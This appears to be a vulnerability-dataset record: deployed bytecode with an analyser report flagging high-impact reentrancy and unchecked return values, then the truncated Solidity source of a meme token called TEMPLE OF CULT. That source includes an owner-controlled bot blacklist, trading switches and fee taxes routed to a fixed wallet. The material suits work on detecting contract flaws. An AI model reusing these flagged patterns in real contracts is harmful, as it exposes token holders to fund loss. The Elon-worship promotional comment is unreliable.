ffffffff16146106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90612f32565b60405180910390fd5b60005b81518110156108a1573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070e5761070d612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061078157610780612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108165750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f5576107f4612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088e5760016007600084848151811061083457610833612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089990613006565b9150506106db565b5050565b60006108b28484846118eb565b610973846108be61171a565b61096e8560405180606001604052806028815260200161385760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092461171a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e919092919063ffffffff16565b611722565b600190509392505050565b61098661171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a90612f32565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab861171a565b73ffffffffffffffffffffffffffffffffffffffff1614610ad857600080fd5b6031811115610ae657600080fd5b8060128190555050565b610af861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90612f32565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610baa61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612f32565b60405180910390fd5b60008111610c4457600080fd5b610c746064610c668369021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbe61171a565b73ffffffffffffffffffffffffffffffffffffffff1614610cde57600080fd5b6000479050610cec81611fb9565b50565b6000610d39600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612025565b9050919050565b610d4861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90612f32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e9b61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90612f32565b60405180910390fd5b69021e19e0c9bab240000060158190555069021e19e0c9bab2400000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f444f4b4900000000000000000000000000000000000000000000000000000000815250905090565b6000610fc6610fbf61171a565b84846118eb565b6001905092915050565b610fd861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90612f32565b60405180910390fd5b6000811161107257600080fd5b6110a260646110948369021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ec61171a565b73ffffffffffffffffffffffffffffffffffffffff161461110c57600080fd5b600061111730610cef565b905061112281612093565b50565b61112d61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190612f32565b60405180910390fd5b60148054906101000a900460ff1615611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff9061309a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669021e19e0c9bab2400000611722565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130891906130cf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561136f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139391906130cf565b6040518363ffffffff1660e01b81526004016113b09291906130fc565b6020604051808303816000875af11580156113cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f391906130cf565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147c30610cef565b600080611487610f4c565b426040518863ffffffff1660e01b81526004016114a99695949392919061316a565b60606040518083038185885af11580156114c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ec91906131e0565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff0219169083151502179055506115566064611548600169021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60158190555061158d606461157f600269021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161164c929190613233565b6020604051808303816000875af115801561166b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168f9190613271565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613310565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906133a2565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118de9190612b93565b60405180910390a3505050565b6000811161192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192590613434565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611951610f4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119bf575061198f610f4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8157601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a6f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611add5750601460179054906101000a900460ff165b15611b4a57601554811115611af157600080fd5b60165481611afe84610cef565b611b089190612f81565b1115611b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b40906134a0565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bf25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c4b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1957600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf45750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cfd57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d2430610cef565b9050611d786064611d6a601254611d5c601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cef565b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b811115611dd457611dd16064611dc3601254611db5601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cef565b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e3f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e575750601460169054906101000a900460ff165b15611e7f57611e6581612093565b60004790506000811115611e7d57611e7c47611fb9565b5b505b505b611e8c83838361230c565b505050565b6000838311158290611ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed091906129dd565b60405180910390fd5b5060008385611ee891906134c0565b9050809150509392505050565b6000808303611f075760009050611f69565b60008284611f1591906134f4565b9050828482611f24919061357d565b14611f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5b90613620565b60405180910390fd5b809150505b92915050565b6000611fb183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231c565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612021573d6000803e3d6000fd5b5050565b600060095482111561206c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612063906136b2565b60405180910390fd5b600061207661237f565b905061208b8184611f6f90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120cb576120ca612bb3565b5b6040519080825280602002602001820160405280156120f95781602001602082028036833780820191505090505b509050308160008151811061211157612110612fd7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121dc91906130cf565b816001815181106121f0576121ef612fd7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061225730601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611722565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122bb959493929190613790565b600060405180830381600087803b1580156122d557600080fd5b505af11580156122e9573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6123178383836123aa565b505050565b60008083118290612363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235a91906129dd565b60405180910390fd5b5060008385612372919061357d565b9050809150509392505050565b600080600061238c612575565b915091506123a38183611f6f90919063ffffffff16565b9250505090565b6000806000806000806123bc876125da565b95509550955095509550955061241a86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266f90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124af85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124fb81612717565b61250584836127d4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125629190612b93565b60405180910390a3505050505050505050565b60008060006009549050600069021e19e0c9bab240000090506125ad69021e19e0c9bab2400000600954611f6f90919063ffffffff16565b8210156125cd5760095469021e19e0c9bab24000009350935050506125d6565b81819350935050505b9091565b60008060008060008060008060006125f061280e565b61260e576126098a600b60020154600b60030154612825565b612624565b6126238a600b60000154600b60010154612825565b5b925092509250600061263461237f565b905060008060006126478e8787876128bb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e91565b905092915050565b60008082846126c89190612f81565b90508381101561270d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270490613836565b60405180910390fd5b8091505092915050565b600061272161237f565b905060006127388284611ef590919063ffffffff16565b905061278c81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b990919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e98260095461266f90919063ffffffff16565b60098190555061280481600a546126b990919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128516064612843888a611ef590919063ffffffff16565b611f6f90919063ffffffff16565b9050600061287b606461286d888b611ef590919063ffffffff16565b611f6f90919063ffffffff16565b905060006128a482612896858c61266f90919063ffffffff16565b61266f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128d48589611ef590919063ffffffff16565b905060006128eb8689611ef590919063ffffffff16565b905060006129028789611ef590919063ffffffff16565b9050600061292b8261291d858761266f90919063ffffffff16565b61266f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561297e578082015181840152602081019050612963565b8381111561298d576000848401525b50505050565b6000601f19601f8301169050919050565b60006129af82612944565b6129b9818561294f565b93506129c9818560208601612960565b6129d281612993565b840191505092915050565b600060208201905081810360008301526129f781846129a4565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3e82612a13565b9050919050565b612a4e81612a33565b8114612a5957600080fd5b50565b600081359050612a6b81612a45565b92915050565b6000819050919050565b612a8481612a71565b8114612a8f57600080fd5b50565b600081359050612aa181612a7b565b92915050565b60008060408385031215612abe57612abd612a09565b5b6000612acc85828601612a5c565b9250506020612add85828601612a92565b9150509250929050565b60008115159050919050565b612afc81612ae7565b82525050565b6000602082019050612b176000830184612af3565b92915050565b60008060008060808587031215612b3757612b36612a09565b5b6000612b4587828801612a92565b9450506020612b5687828801612a92565b9350506040612b6787828801612a92565b9250506060612b7887828801612a92565b91505092959194509250565b612b8d81612a71565b82525050565b6000602082019050612ba86000830184612b84565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612beb82612993565b810181811067ffffffffffffffff82111715612c0a57612c09612bb3565b5b80604052505050565b6000612c1d6129ff565b9050612c298282612be2565b919050565b600067ffffffffffffffff821115612c4957612c48612bb3565b5b602082029050602081019050919050565b600080fd5b6000612c72612c6d84612c2e565b612c13565b90508083825260208201905060208402830185811115612c9557612c94612c5a565b5b835b81811015612cbe5780612caa8882612a5c565b845260208401935050602081019050612c97565b5050509392505050565b600082601f830112612cdd57612cdc612bae565b5b8135612ced848260208601612c5f565b91505092915050565b600060208284031215612d0c57612d0b612a09565b5b600082013567ffffffffffffffff811115612d2a57612d29612a0e565b5b612d3684828501612cc8565b91505092915050565b600080600060608486031215612d5857612d57612a09565b5b6000612d6686828701612a5c565b9350506020612d7786828701612a5c565b9250506040612d8886828701612a92565b9150509250925092565b600060208284031215612da857612da7612a09565b5b6000612db684828501612a5c565b91505092915050565b600060ff82169050919050565b612dd581612dbf565b82525050565b6000602082019050612df06000830184612dcc565b92915050565b600060208284031215612e0c57612e0b612a09565b5b6000612e1a84828501612a92565b91505092915050565b612e2c81612ae7565b8114612e3757600080fd5b50565b600081359050612e4981612e23565b92915050565b600060208284031215612e6557612e64612a09565b5b6000612e7384828501612e3a565b91505092915050565b612e8581612a33565b82525050565b6000602082019050612ea06000830184612e7c565b92915050565b60008060408385031215612ebd57612ebc612a09565b5b6000612ecb85828601612a5c565b9250506020612edc85828601612a5c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f1c60208361294f565b9150612f2782612ee6565b602082019050919050565b60006020820190508181036000830152612f4b81612f0f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8c82612a71565b9150612f9783612a71565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fcc57612fcb612f52565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061301182612a71565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361304357613042612f52565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061308460178361294f565b915061308f8261304e565b602082019050919050565b600060208201905081810360008301526130b381613077565b9050919050565b6000815190506130c981612a45565b92915050565b6000602082840312156130e5576130e4612a09565b5b60006130f3848285016130ba565b91505092915050565b60006040820190506131116000830185612e7c565b61311e6020830184612e7c565b9392505050565b6000819050919050565b6000819050919050565b600061315461314f61314a84613125565b61312f565b612a71565b9050919050565b61316481613139565b82525050565b600060c08201905061317f6000830189612e7c565b61318c6020830188612b84565b613199604083018761315b565b6131a6606083018661315b565b6131b36080830185612e7c565b6131c060a0830184612b84565b979650505050505050565b6000815190506131da81612a7b565b92915050565b6000806000606084860312156131f9576131f8612a09565b5b6000613207868287016131cb565b9350506020613218868287016131cb565b9250506040613229868287016131cb565b9150509250925092565b60006040820190506132486000830185612e7c565b6132556020830184612b84565b9392505050565b60008151905061326b81612e23565b92915050565b60006020828403121561328757613286612a09565b5b60006132958482850161325c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132fa60248361294f565b91506133058261329e565b604082019050919050565b60006020820190508181036000830152613329816132ed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061338c60228361294f565b915061339782613330565b604082019050919050565b600060208201905081810360008301526133bb8161337f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061341e60298361294f565b9150613429826133c2565b604082019050919050565b6000602082019050818103600083015261344d81613411565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061348a601a8361294f565b915061349582613454565b602082019050919050565b600060208201905081810360008301526134b98161347d565b9050919050565b60006134cb82612a71565b91506134d683612a71565b9250828210156134e9576134e8612f52565b5b828203905092915050565b60006134ff82612a71565b915061350a83612a71565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561354357613542612f52565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358882612a71565b915061359383612a71565b9250826135a3576135a261354e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061360a60218361294f565b9150613615826135ae565b604082019050919050565b60006020820190508181036000830152613639816135fd565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061369c602a8361294f565b91506136a782613640565b604082019050919050565b600060208201905081810360008301526136cb8161368f565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61370781612a33565b82525050565b600061371983836136fe565b60208301905092915050565b6000602082019050919050565b600061373d826136d2565b61374781856136dd565b9350613752836136ee565b8060005b8381101561378357815161376a888261370d565b975061377583613725565b925050600181019050613756565b5085935050505092915050565b600060a0820190506137a56000830188612b84565b6137b2602083018761315b565b81810360408301526137c48186613732565b90506137d36060830185612e7c565b6137e06080830184612b84565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613820601b8361294f565b915061382b826137ea565b602082019050919050565b6000602082019050818103600083015261384f81613813565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e45353680daeb8476661c7b03b5e3d92a1e802b2ad14355f3d623bb540bf8cf664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,420
0x7d9ef1d3977274f80c50a1cfc458cf972007eebf
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ // SPDX-License-Identifier: UNLICENSED /* █████████ █████ █████ █████ ███████████ ███████████ ██████████ ██████ ██████ ███████████ █████ ██████████ ███░░░░░███░░███ ░░███ ░░███ ░█░░░███░░░█ ░█░░░███░░░█░░███░░░░░█░░██████ ██████ ░░███░░░░░███░░███ ░░███░░░░░█ ███ ░░░ ░███ ░███ ░███ ░ ░███ ░ ░ ░███ ░ ░███ █ ░ ░███░█████░███ ░███ ░███ ░███ ░███ █ ░ ░███ ░███ ░███ ░███ ░███ ░███ ░██████ ░███░░███ ░███ ░██████████ ░███ ░██████ ░███ ░███ ░███ ░███ ░███ ░███ ░███░░█ ░███ ░░░ ░███ ░███░░░░░░ ░███ ░███░░█ ░░███ ███ ░███ ░███ ░███ █ ░███ ░███ ░███ ░ █ ░███ ░███ ░███ ░███ █ ░███ ░ █ ░░█████████ ░░████████ ███████████ █████ █████ ██████████ █████ █████ █████ ███████████ ██████████ ░░░░░░░░░ ░░░░░░░░ ░░░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░░░░░░░ ░░░░░░░░░░ The difference between gods and mortals is basically equal to the difference between the great Elon and man. While the great gods of the pantheon were worshiped by priests at rituals in cultic centers, the great god of the Tesla is worshiped by us on Twitter and cryptoworld. Ancient mortals used to have no direct contact with their deities while contemporary people can easily receive oracles from the great Elon. Ancient mortals worshiped personal gods, who were thought to be deities who could intercede on their behalf to ensure health and protection for their families; while contemporary people worship Elon believing that he could protect us from scammers and earn profit in the crypto world. All crypto buyers should devoutly praise the words of Elon. May the great Elon assuage the spirit of his followers and crypto holders. May it soothe their hearts, bring wealth to his people. https://t.me/templeofcult https://t.me/templeofcult https://t.me/templeofcult */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CULTEMPLE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "TEMPLE OF CULT"; string private constant _symbol = "CULTEMPLE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHoldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x92edEfa5CEFAAC269f5A88655F17e68A694a7E74); _buyTax = 10; _sellTax = 10; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != 